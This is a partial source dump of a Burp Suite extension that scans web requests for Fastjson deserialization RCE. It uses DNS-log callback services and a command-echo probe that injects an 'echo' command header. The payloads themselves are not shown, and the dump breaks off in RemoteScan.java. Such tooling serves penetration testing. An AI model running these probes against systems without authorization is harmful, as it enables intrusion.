├── .gitignore ├── .idea ├── vcs.xml ├── .gitignore ├── encodings.xml ├── misc.xml ├── compiler.xml ├── jarRepositories.xml └── uiDesigner.xml ├── src └── main │ └── java │ └── burp │ ├── dnslogs │ ├── DnslogInterface.java │ ├── DnsLog.java │ └── impl │ │ ├── BurpDnsLog.java │ │ ├── CeyeDnslog.java │ │ ├── DnsLogCn.java │ │ └── EyesDnslog.java │ ├── bean │ ├── TargetInfo.java │ ├── ScanResultType.java │ ├── Issus.java │ └── CustomBurpUrl.java │ ├── extension │ ├── ScanFactory.java │ ├── scan │ │ ├── impl │ │ │ ├── CmdEchoScan.java │ │ │ ├── RemoteScan.java │ │ │ ├── libraryDetect.java │ │ │ ├── lowPerceptScan.java │ │ │ └── versionDetect.java │ │ └── BaseScan.java │ └── bypass │ │ └── PayloadBypass.java │ ├── ui │ ├── Tags.java │ ├── ScanQueueTag.java │ └── BaseSettingTag.java │ ├── utils │ ├── FindJsons.java │ ├── Customhelps.java │ └── YamlReader.java │ └── FastjsonScan.java ├── pom.xml └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/DnslogInterface.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs; 2 | 3 | public interface DnslogInterface { 4 | String getBodyContent(); 5 | 6 | String getAllContent(String random); 7 | 8 | String getExtensionName(); 9 | 10 | String getRandomDnsUrl(); 11 | 12 | String getRandomPredomain(); 13 | 14 | String checkConnection(); 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/burp/bean/TargetInfo.java: -------------------------------------------------------------------------------- 1 | package burp.bean; 2 | 3 | /** 4 | * @ClassName: TargetInfo 5 | * @Auther: niko 6 | * @Date: 2025/1/17 16:11 7 | * @Description: 8 | */ 9 | public class TargetInfo { 10 | private boolean flag; 11 | private String key; 12 | 13 | public TargetInfo(boolean flag, String key) { 14 | this.flag = flag; 15 | this.key = key; 16 | } 17 | 18 | public boolean isFlag() { 19 | return flag; 20 | } 21 | 22 | public String getKey() { 23 | return key; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /src/main/java/burp/bean/ScanResultType.java: -------------------------------------------------------------------------------- 1 | package burp.bean; 2 | 3 | public enum ScanResultType { 4 | PAYLOADS_FIND("[+] Payload find out"), 5 | MAY_FASTJSON("[+] Maybe use fastjson"), 6 | IS_FASTJSON("[+] Fastjson with Network"), 7 | NO_FASTJSON("[+] Maybe no fastjson"), 8 | VERSION_INFO("[+] version: %s"), 9 | LIBRARY_FOUND("[+] library: %s"), 10 | NOT_FOUND("[-] Payload not find"), 11 | DNS_ERROR("[-] Dnslog error"), 12 | WAIT_CONFIRM("[=] Task timeout"); 13 | private final String messageFormat; 14 | 15 | ScanResultType(String messageFormat) { 16 | this.messageFormat = messageFormat; 17 | } 18 | 19 | public String format(Object... args) { 20 | return String.format(this.messageFormat, args); 21 | } 22 | } -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | 24 | 25 | -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/DnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | /** 9 | * @ClassName: DnsLog 10 | * @Auther: niko 11 | * @Date: 2025/2/9 14:35 12 | * @Description: 13 | */ 14 | public class DnsLog { 15 | private DnslogInterface dnsLog; 16 | 17 | public DnsLog(IBurpExtenderCallbacks callbacks, String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { 18 | if (callClassName == null || callClassName.length() <= 0) { 19 | throw new IllegalArgumentException("DnsLog模块-请输入要调用的dnsLog插件"); 20 | } 21 | Class c = Class.forName("burp.dnslogs.impl." + callClassName); 22 | Constructor cConstructor = c.getConstructor(IBurpExtenderCallbacks.class); 23 | this.dnsLog = (DnslogInterface) cConstructor.newInstance(callbacks); 24 | 25 | if (this.dnsLog.getExtensionName().isEmpty()) { 26 | throw new IllegalArgumentException("请为该DnsLog扩展-设置扩展名称"); 27 | } 28 | } 29 | 30 | public DnslogInterface run(){ 31 | return this.dnsLog; 32 | } 33 | 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/ScanFactory.java: -------------------------------------------------------------------------------- 1 | package burp.extension; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.extension.scan.BaseScan; 6 | import burp.IHttpRequestResponse; 7 | import java.lang.reflect.Constructor; 8 | 9 | public class ScanFactory { 10 | 11 | public static BaseScan createScan(String extendName,IHttpRequestResponse iHttpRequestResponse,IExtensionHelpers helpers,IBurpExtenderCallbacks callbacks,boolean isBypass,String dnsName) throws ClassNotFoundException, NoSuchMethodException { 12 | if (extendName == null || extendName.length()<=0){ 13 | throw new IllegalArgumentException("无法找到调用的插件名称"); 14 | } 15 | 16 | Class clazz = Class.forName("burp.extension.scan.impl." + extendName); 17 | Constructor declaredConstructor = clazz.getDeclaredConstructor( 18 | IBurpExtenderCallbacks.class, 19 | IHttpRequestResponse.class, 20 | IExtensionHelpers.class, 21 | boolean.class, 22 | String.class 23 | ); 24 | try { 25 | return (BaseScan) declaredConstructor.newInstance(callbacks, iHttpRequestResponse, helpers,isBypass,dnsName); 26 | } catch (Exception e) { 27 | throw new ClassNotFoundException(); 28 | } 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/burp/ui/Tags.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import java.awt.*; 4 | import javax.swing.JTabbedPane; 5 | 6 | import burp.ITab; 7 | import burp.IBurpExtenderCallbacks; 8 | import burp.utils.YamlReader; 9 | 10 | 11 | public class Tags implements ITab { 12 | private final JTabbedPane tabs; 13 | private BaseSettingTag baseSettingTag; 14 | private String tagName; 15 | private ScanQueueTag scanQueueTag; 16 | 17 | public Tags(IBurpExtenderCallbacks callbacks, String name) { 18 | this.tagName = name; 19 | 20 | tabs = new JTabbedPane(); 21 | 22 | YamlReader yamlReader = YamlReader.getInstance(callbacks); 23 | 24 | // 扫描队列-窗口 25 | ScanQueueTag scanQueueTag = new ScanQueueTag(callbacks, tabs); 26 | this.scanQueueTag = scanQueueTag; 27 | 28 | // 基本设置-窗口 29 | BaseSettingTag baseSettingTag = new BaseSettingTag(callbacks, tabs, yamlReader); 30 | this.baseSettingTag = baseSettingTag; 31 | 32 | // 自定义组件-导入 33 | callbacks.customizeUiComponent(tabs); 34 | 35 | // 将自定义选项卡添加到Burp的UI 36 | callbacks.addSuiteTab(Tags.this); 37 | } 38 | 39 | /** 40 | * 基础设置tag 41 | * 42 | * @return 43 | */ 44 | // public BaseSettingTag getBaseSettingTagClass() { 45 | // return this.baseSettingTag; 46 | // } 47 | 48 | /** 49 | * 扫描队列tag 50 | * 可通过该类提供的方法,进行tag任务的添加与修改 51 | * 52 | * @return 53 | */ 54 | public ScanQueueTag getScanQueueTagClass() { 55 | return this.scanQueueTag; 56 | } 57 | 58 | @Override 59 | public String getTabCaption() { 60 | return this.tagName; 61 | } 62 | 63 | @Override 64 | public Component getUiComponent() { 65 | return this.tabs; 66 | } 67 | /** 68 | * 基础设置tag 69 | * 70 | * @return 71 | */ 72 | public BaseSettingTag getBaseSettingTagClass() { 73 | return this.baseSettingTag; 74 | } 75 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | FastjsonScan4Burp 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | net.portswigger.burp.extender 19 | burp-extender-api 20 | 2.3 21 | 22 | 23 | com.intellij 24 | forms_rt 25 | 7.0.3 26 | 27 | 28 | com.google.code.gson 29 | gson 30 | 2.9.0 31 | 32 | 33 | com.github.kevinsawicki 34 | http-request 35 | 6.0 36 | 37 | 38 | org.yaml 39 | snakeyaml 40 | 1.29 41 | 42 | 43 | 44 | 45 | 46 | maven-assembly-plugin 47 | 48 | 49 | jar-with-dependencies 50 | 51 | 52 | 53 | burp.FastjsonScan 54 | 55 | 56 | 57 | 58 | 59 | make-assembly 60 | package 61 | 62 | single 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /src/main/java/burp/utils/FindJsons.java: -------------------------------------------------------------------------------- 1 | package burp.utils; 2 | 3 | import burp.*; 4 | import burp.bean.TargetInfo; 5 | 6 | import java.io.UnsupportedEncodingException; 7 | import java.net.URLDecoder; 8 | import java.util.List; 9 | 10 | /** 11 | * @ClassName: FindJsons 12 | * @Auther: niko 13 | * @Date: 2025/1/17 15:55 14 | * @Description: 15 | */ 16 | public class FindJsons{ 17 | private IExtensionHelpers helpers; 18 | private IHttpRequestResponse iHttpRequestResponse; 19 | private IRequestInfo requestInfo; 20 | private Boolean isJson; 21 | private String json; 22 | 23 | 24 | public FindJsons(IExtensionHelpers helpers, IHttpRequestResponse iHttpRequestResponse) { 25 | this.helpers = helpers; 26 | this.iHttpRequestResponse = iHttpRequestResponse; 27 | this.requestInfo = helpers.analyzeRequest(iHttpRequestResponse); 28 | } 29 | // GET/POST 方法,params是否带有fastjson 30 | public TargetInfo isParamsJson() { 31 | String value = null; 32 | List parameters = requestInfo.getParameters(); 33 | for(IParameter parameter : parameters ){ 34 | // 暂时不考虑对cookie进行fastjson检测 35 | if (parameter.getType() == IParameter.PARAM_URL||parameter.getType() == IParameter.PARAM_BODY){ 36 | value = parameter.getValue(); 37 | TargetInfo targetInfo = isJson(parameter.getName(),value); 38 | if (targetInfo.isFlag()){ 39 | return targetInfo; 40 | } 41 | } 42 | } 43 | return new TargetInfo(false, null); 44 | } 45 | 46 | private TargetInfo isJson(String parameter, String str) { 47 | String key = null; 48 | boolean result = false; 49 | if (str != null && !str.isEmpty()) { 50 | try { 51 | str = URLDecoder.decode(str, "utf-8"); 52 | } catch (UnsupportedEncodingException e) { 53 | throw new RuntimeException(e); 54 | } 55 | str = str.trim(); 56 | if(str.indexOf("{") !=-1 && str.lastIndexOf("}")!=-1){ 57 | key = parameter; 58 | result = true; 59 | }else if (str.indexOf("[") !=-1 && str.lastIndexOf("]")!=-1){ 60 | key = parameter; 61 | result = true; 62 | } 63 | } 64 | TargetInfo targetInfo = new TargetInfo(result, key); 65 | return targetInfo; 66 | } 67 | 68 | // post content-type:json 69 | public TargetInfo isContypeJson(){ 70 | String s = String.valueOf(requestInfo.getContentType()); 71 | if ("4".equals(s)){ 72 | return new TargetInfo(true,null); 73 | } 74 | return new TargetInfo(false,null); 75 | 76 | } 77 | 78 | } 79 | 80 | -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/impl/BurpDnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs.impl; 2 | 3 | import java.util.Map; 4 | import java.util.List; 5 | import java.util.Arrays; 6 | import java.util.Iterator; 7 | import java.io.PrintWriter; 8 | 9 | import burp.IExtensionHelpers; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IBurpCollaboratorInteraction; 12 | import burp.IBurpCollaboratorClientContext; 13 | import burp.dnslogs.DnslogInterface; 14 | 15 | public class BurpDnsLog implements DnslogInterface { 16 | private IBurpExtenderCallbacks callbacks; 17 | private IExtensionHelpers helpers; 18 | 19 | private IBurpCollaboratorClientContext burpCollaboratorClientContext; 20 | 21 | private String dnslogContent = ""; 22 | private String randomDnsUrl; 23 | 24 | public BurpDnsLog(IBurpExtenderCallbacks callbacks) { 25 | this.callbacks = callbacks; 26 | this.helpers = callbacks.getHelpers(); 27 | 28 | this.burpCollaboratorClientContext = callbacks.createBurpCollaboratorClientContext(); 29 | 30 | this.init(); 31 | } 32 | 33 | private void init() { 34 | // 通过burp组建获取临时dnslog域名 35 | String temporaryDomainName = this.burpCollaboratorClientContext.generatePayload(true); 36 | if (temporaryDomainName == null || temporaryDomainName.length() <= 0) { 37 | throw new RuntimeException( 38 | String.format( 39 | "%s 扩展-获取临时域名失败, 请检查本机是否可使用burp自带的dnslog客户端", 40 | this.getExtensionName())); 41 | } 42 | this.randomDnsUrl = temporaryDomainName; 43 | } 44 | 45 | @Override 46 | public String getBodyContent() { 47 | List collaboratorInteractions = 48 | this.burpCollaboratorClientContext.fetchCollaboratorInteractionsFor(this.randomDnsUrl); 49 | if (collaboratorInteractions != null && !collaboratorInteractions.isEmpty()) { 50 | Iterator iterator = collaboratorInteractions.iterator(); 51 | 52 | Map properties = iterator.next().getProperties(); 53 | if (properties.size() == 0) { 54 | return this.dnslogContent; 55 | } 56 | 57 | String content = null; 58 | for (String property : properties.keySet()) { 59 | String text = properties.get(property); 60 | if (property.equals("raw_query")) { 61 | text = new String(this.helpers.base64Decode(text)); 62 | } 63 | content += text + " "; 64 | } 65 | this.dnslogContent += content; 66 | return this.dnslogContent; 67 | } 68 | return this.dnslogContent; 69 | } 70 | 71 | @Override 72 | public String getAllContent(String random) { 73 | return null; 74 | } 75 | 76 | @Override 77 | public String getExtensionName() { 78 | return "BurpDnsLog"; 79 | } 80 | 81 | @Override 82 | public String getRandomDnsUrl() { 83 | return randomDnsUrl; 84 | } 85 | 86 | @Override 87 | public String getRandomPredomain() { 88 | return this.randomDnsUrl.substring(0, this.randomDnsUrl.indexOf(".")); 89 | } 90 | 91 | @Override 92 | public String checkConnection() { 93 | return ""; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/burp/bean/Issus.java: -------------------------------------------------------------------------------- 1 | package burp.bean; 2 | 3 | import burp.IHttpRequestResponse; 4 | import burp.IHttpService; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URL; 8 | 9 | /** 10 | * @ClassName: Issus 11 | * @Auther: niko 12 | * @Date: 2025/2/1 19:22 13 | * @Description: 14 | */ 15 | ///** 16 | // * 17 | // * @param url 漏洞地址 18 | // * @param issueName 漏洞名 19 | // * @param issueType 漏洞类型?,默认0,不知道干啥的 20 | // * @param severity 漏洞等级;"High", "Medium", "Low", "Information" "False positive" 5选1 21 | // * @param confidence 置信度,或者说漏洞存在的信心;"Certain", "Firm" "Tentative" 3选1 22 | // * @param issueBackground 漏洞背景,设置为null不显示 23 | // * @param remediationBackground 修复背景,设置为null不显示 24 | // * @param issueDetail 漏洞描述 25 | // * @param remediationDetail 修复建议 26 | // * @param httpMessages 漏洞请求 27 | // * @param httpService 漏洞的httpService 28 | // */ 29 | public class Issus implements IScanIssue { 30 | public enum State{ 31 | SAVE,ADD,TIMEOUT,ERROR 32 | } 33 | private URL url; 34 | private String method; 35 | private String status; 36 | private String payload; 37 | private String result; 38 | private IHttpRequestResponse iHttpRequestResponse; 39 | private State state; 40 | private String extentsionMethod; 41 | 42 | public Issus(URL url, String method, String extentsionMethod,String status, String payload, String result, IHttpRequestResponse iHttpRequestResponse, State state) { 43 | this.url = url; 44 | this.method = method; 45 | this.status = status; 46 | this.payload = payload; 47 | this.result = result; 48 | this.extentsionMethod = extentsionMethod; 49 | this.iHttpRequestResponse = iHttpRequestResponse; 50 | this.state = state; 51 | } 52 | 53 | public String getMethod() { 54 | return method; 55 | } 56 | 57 | public String getStatus() { 58 | return status; 59 | } 60 | 61 | 62 | public String getExtentsionMethod() { 63 | return extentsionMethod; 64 | } 65 | public String getPayload(){ 66 | return payload; 67 | } 68 | 69 | 70 | public String getResult() { 71 | return result; 72 | } 73 | 74 | public IHttpRequestResponse getiHttpRequestResponse() { 75 | return iHttpRequestResponse; 76 | } 77 | 78 | 79 | 80 | 81 | @Override 82 | public URL getUrl() { 83 | return url; 84 | } 85 | 86 | @Override 87 | public String getIssueName() { 88 | return "fastjson rce"; 89 | } 90 | 91 | @Override 92 | public int getIssueType() { 93 | return 0; 94 | } 95 | 96 | @Override 97 | public String getSeverity() { 98 | return "High"; 99 | } 100 | 101 | @Override 102 | public String getConfidence() { 103 | return "Certain"; 104 | } 105 | 106 | @Override 107 | public String getIssueBackground() { 108 | return "漏洞背景"; 109 | } 110 | 111 | @Override 112 | public String getRemediationBackground() { 113 | return "修复背景"; 114 | } 115 | 116 | @Override 117 | public String getIssueDetail() { 118 | return payload; 119 | } 120 | 121 | @Override 122 | public String getRemediationDetail() { 123 | return "修复建议"; 124 | } 125 | 126 | @Override 127 | public IHttpRequestResponse[] getHttpMessages() { 128 | return new IHttpRequestResponse[]{iHttpRequestResponse}; 129 | } 130 | 131 | @Override 132 | public IHttpService getHttpService() { 133 | return iHttpRequestResponse.getHttpService(); 134 | } 135 | 136 | public void setUrl(URL url) { 137 | this.url = url; 138 | } 139 | 140 | public State getState() { 141 | return state; 142 | } 143 | 144 | public void setPayload(String payload) { 145 | this.payload = payload; 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/impl/CeyeDnslog.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.dnslogs.DnslogInterface; 5 | import burp.utils.Customhelps; 6 | import burp.utils.YamlReader; 7 | import com.github.kevinsawicki.http.HttpRequest; 8 | 9 | /** 10 | * @ClassName: Ceye 11 | * @Auther: niko 12 | * @Date: 2025/1/20 16:10 13 | * @Description: 14 | */ 15 | public class CeyeDnslog implements DnslogInterface { 16 | 17 | private String Identifier; 18 | private String token; 19 | private String random; 20 | private String api; 21 | private YamlReader yamlReader; 22 | private String randomDnsUrl; 23 | 24 | 25 | public CeyeDnslog(IBurpExtenderCallbacks callbacks){ 26 | Customhelps customhelps = new Customhelps(); 27 | this.yamlReader = YamlReader.getInstance(callbacks); 28 | this.api = "http://api.ceye.io"; 29 | this.Identifier = yamlReader.getString("dnsLogModule.CeyeDnslog.Identifier").trim(); 30 | this.random = customhelps.randomString(4); 31 | this.token = yamlReader.getString("dnsLogModule.CeyeDnslog.token").trim(); 32 | init(); 33 | } 34 | private void init() { 35 | if (this.token == null || this.token.length() <= 0) { 36 | throw new RuntimeException(String.format("%s 扩展-token参数不能为空", this.getExtensionName())); 37 | } 38 | if (this.Identifier == null || this.Identifier.length() <= 0) { 39 | throw new RuntimeException(String.format("%s 扩展-key参数不能为空", this.getExtensionName())); 40 | } 41 | String temporaryDomainName = this.random + "." + this.Identifier + "." + "ceye.io"; 42 | this.randomDnsUrl = temporaryDomainName; 43 | } 44 | @Override 45 | public String getRandomDnsUrl() { 46 | return this.randomDnsUrl; 47 | } 48 | 49 | @Override 50 | public String getRandomPredomain() { 51 | return this.random; 52 | } 53 | 54 | @Override 55 | public String checkConnection() { 56 | return ""; 57 | } 58 | 59 | @Override 60 | public String getBodyContent() { 61 | String url = String.format("%s/v1/records?token=%s&type=dns&filter=%s",api,token,"random"); 62 | HttpRequest httpRequest = HttpRequest.get(url); 63 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0"; 64 | httpRequest.header("User-Agent",ua); 65 | httpRequest.header("Accept","*/*"); 66 | httpRequest.trustAllCerts(); 67 | httpRequest.trustAllHosts(); 68 | httpRequest.readTimeout(30 * 1000); 69 | httpRequest.connectTimeout(30 * 1000); 70 | httpRequest.followRedirects(false); 71 | 72 | String body = httpRequest.body(); 73 | if (!httpRequest.ok()){ 74 | throw new RuntimeException( 75 | String.format( 76 | "%s 扩展-内容有异常,异常内容: %s", 77 | this.api, 78 | body 79 | ) 80 | ); 81 | } 82 | if (body.contains("[]")){ 83 | return null; 84 | } 85 | return body; 86 | } 87 | 88 | @Override 89 | public String getAllContent(String random) { 90 | String url = String.format("%s/v1/records?token=%s&type=dns",api,token); 91 | HttpRequest httpRequest = HttpRequest.get(url); 92 | String ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/604.2.15 (KHTML, like Gecko) Mobile/22B91 Ariver/1.0.10 Jupiter/1.0.0"; 93 | httpRequest.header("User-Agent",ua); 94 | httpRequest.header("Accept","*/*"); 95 | httpRequest.trustAllCerts(); 96 | httpRequest.trustAllHosts(); 97 | httpRequest.readTimeout(30 * 1000); 98 | httpRequest.connectTimeout(30 * 1000); 99 | httpRequest.followRedirects(false); 100 | 101 | String body = httpRequest.body(); 102 | if (!httpRequest.ok()){ 103 | throw new RuntimeException( 104 | String.format( 105 | "%s 扩展-内容有异常,异常内容: %s", 106 | this.api, 107 | body 108 | ) 109 | ); 110 | } 111 | if (body.contains("[]")){ 112 | return null; 113 | } 114 | return body; 115 | } 116 | 117 | @Override 118 | public String getExtensionName() { 119 | return "CeyeDnslog"; 120 | } 121 | 122 | } 123 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/impl/CmdEchoScan.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.bean.CustomBurpUrl; 7 | import burp.bean.Issus; 8 | import burp.bean.ScanResultType; 9 | import burp.extension.scan.BaseScan; 10 | import burp.utils.Customhelps; 11 | 12 | import java.util.ArrayList; 13 | import java.util.Iterator; 14 | import java.util.List; 15 | 16 | import static burp.utils.Customhelps.tabFormat; 17 | 18 | /** 19 | * @ClassName: CmdEchoScan 20 | * @Auther: niko 21 | * @Date: 2025/2/7 22:45 22 | * @Description: 23 | */ 24 | public class CmdEchoScan extends BaseScan { 25 | 26 | public CmdEchoScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) { 27 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName); 28 | } 29 | 30 | @Override 31 | public List insertPayloads(String jsonKey) { 32 | boolean flag = true; 33 | IHttpRequestResponse newRequestResonse = null; 34 | List issuses = new ArrayList<>(); 35 | Issus issus = null; 36 | List payloads = this.yamlReader.getStringList("application.cmdEchoExtension.config.payloads"); 37 | Iterator payloadIterator = payloads.iterator(); 38 | String cmdHeader = this.yamlReader.getString("application.cmdEchoExtension.config.commandInputPointField"); 39 | String randomString = new Customhelps().randomString(16); 40 | cmdHeader = cmdHeader + ": echo " + randomString; 41 | List headers = new ArrayList<>(); 42 | headers = customBurpUrl.getHttpRequestHeaders(); 43 | headers.add(cmdHeader); 44 | byte[] bytes = helpers.buildHttpMessage(headers, new byte[0]); 45 | iHttpRequestResponse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(),bytes); 46 | customBurpUrl = new CustomBurpUrl(callbacks,iHttpRequestResponse); 47 | while (payloadIterator.hasNext()){ 48 | String payload = payloadIterator.next(); 49 | if (jsonKey ==null || jsonKey.length()<=0){ 50 | newRequestResonse = run(payload); 51 | 52 | }else { 53 | newRequestResonse = run(payload, jsonKey); 54 | } 55 | try { 56 | Thread.sleep(3000); 57 | } catch (InterruptedException e) { 58 | throw new RuntimeException(e); 59 | } 60 | String responseBody = null; 61 | responseBody = customBurpUrl.getHttpResponseBody(); 62 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload,responseBody); 63 | 64 | if (responseBody.contains(randomString)){ 65 | if (flag){ 66 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 67 | customBurpUrl.getRequestMethod(), 68 | getExtensionName(), 69 | customBurpUrl.getHttpResponseStatus(), 70 | payload, 71 | tabFormat(ScanResultType.PAYLOADS_FIND), 72 | newRequestResonse, 73 | Issus.State.SAVE); 74 | issuses.add(issus); 75 | flag = false; 76 | }else { 77 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 78 | customBurpUrl.getRequestMethod(), 79 | getExtensionName(), 80 | customBurpUrl.getHttpResponseStatus(), 81 | payload, 82 | tabFormat(ScanResultType.PAYLOADS_FIND), 83 | newRequestResonse, 84 | Issus.State.ADD); 85 | issuses.add(issus); 86 | } 87 | } 88 | } 89 | if (issuses.isEmpty()){ 90 | issus = new Issus(customBurpUrl.getHttpRequestUrl(), 91 | customBurpUrl.getRequestMethod(), 92 | getExtensionName(), 93 | customBurpUrl.getHttpResponseStatus(), 94 | null, 95 | tabFormat(ScanResultType.NOT_FOUND), 96 | this.iHttpRequestResponse, 97 | Issus.State.SAVE); 98 | issuses.add(issus); 99 | } 100 | return issuses; 101 | } 102 | 103 | @Override 104 | public String getExtensionName() { 105 | return "CmdEchoScan"; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/burp/dnslogs/impl/DnsLogCn.java: -------------------------------------------------------------------------------- 1 | package burp.dnslogs.impl; 2 | import java.io.PrintWriter; 3 | 4 | import burp.dnslogs.DnslogInterface; 5 | import burp.utils.Customhelps; 6 | import com.github.kevinsawicki.http.HttpRequest; 7 | import burp.IBurpExtenderCallbacks; 8 | 9 | public class DnsLogCn implements DnslogInterface { 10 | private IBurpExtenderCallbacks callbacks; 11 | 12 | private String dnslogDomainName; 13 | 14 | private String dnsLogCookieName; 15 | private String dnsLogCookieValue; 16 | private String randomDnsUrl; 17 | 18 | public DnsLogCn(IBurpExtenderCallbacks callbacks) { 19 | this.callbacks = callbacks; 20 | 21 | this.dnslogDomainName = "http://dnslog.cn"; 22 | 23 | this.init(); 24 | } 25 | 26 | private void init() { 27 | String url = this.dnslogDomainName + "/getdomain.php"; 28 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 29 | 30 | HttpRequest request = HttpRequest.get(url); 31 | request.trustAllCerts(); 32 | request.trustAllHosts(); 33 | request.followRedirects(false); 34 | request.header("User-Agent", userAgent); 35 | request.header("Accept", "*/*"); 36 | request.readTimeout(30 * 1000); 37 | request.connectTimeout(30 * 1000); 38 | 39 | int statusCode = request.code(); 40 | if (statusCode != 200) { 41 | throw new RuntimeException( 42 | String.format( 43 | "%s 扩展-访问url-%s, 请检查本机是否可访问 %s", 44 | this.getExtensionName(), 45 | statusCode, 46 | url)); 47 | } 48 | 49 | // 设置 dnslog 的临时域名 50 | String temporaryDomainName = request.body(); 51 | if (request.isBodyEmpty()) { 52 | throw new RuntimeException( 53 | String.format( 54 | "%s 扩展-获取临时域名失败, 请检查本机是否可访问 %s", 55 | this.getExtensionName(), 56 | this.dnslogDomainName)); 57 | } 58 | this.randomDnsUrl= temporaryDomainName; 59 | 60 | String cookie = request.header("Set-Cookie"); 61 | System.out.println(cookie); 62 | String sessidKey = "PHPSESSID"; 63 | String sessidValue = Customhelps.getParam(cookie, sessidKey); 64 | if (sessidValue.length() == 0) { 65 | throw new IllegalArgumentException( 66 | String.format( 67 | "%s 扩展-访问站点 %s 时返回Cookie为空, 导致无法正常获取dnsLog数据, 请检查", 68 | this.getExtensionName(), 69 | this.dnslogDomainName)); 70 | } 71 | 72 | this.dnsLogCookieName = sessidKey; 73 | this.dnsLogCookieValue = sessidValue; 74 | } 75 | 76 | @Override 77 | public String getBodyContent() { 78 | String url = this.dnslogDomainName + "/getrecords.php"; 79 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 80 | 81 | HttpRequest request = HttpRequest.get(url); 82 | request.trustAllCerts(); 83 | request.trustAllHosts(); 84 | request.followRedirects(false); 85 | request.header("User-Agent", userAgent); 86 | request.header("Accept", "*/*"); 87 | request.header("Cookie", this.dnsLogCookieName + "=" + this.dnsLogCookieValue + ";"); 88 | request.readTimeout(30 * 1000); 89 | request.connectTimeout(30 * 1000); 90 | 91 | String body = request.body(); 92 | 93 | if (!request.ok()) { 94 | throw new RuntimeException( 95 | String.format( 96 | "%s 扩展-%s内容有异常,异常内容: %s", 97 | this.getExtensionName(), 98 | this.dnslogDomainName, 99 | body 100 | ) 101 | ); 102 | } 103 | 104 | if (body.equals("[]")) { 105 | return null; 106 | } 107 | return body; 108 | } 109 | 110 | @Override 111 | public String getAllContent(String random) { 112 | return null; 113 | } 114 | 115 | @Override 116 | public String getExtensionName() { 117 | return "DnsLogCn"; 118 | } 119 | 120 | @Override 121 | public String getRandomDnsUrl() { 122 | return this.randomDnsUrl; 123 | } 124 | 125 | @Override 126 | public String getRandomPredomain() { 127 | return this.randomDnsUrl.replace(".dnslog.cn",""); 128 | } 129 | 130 | @Override 131 | public String checkConnection() { 132 | return ""; 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/main/java/burp/extension/scan/impl/RemoteScan.java: -------------------------------------------------------------------------------- 1 | package burp.extension.scan.impl; 2 | 3 | import burp.*; 4 | import burp.bean.Issus; 5 | import 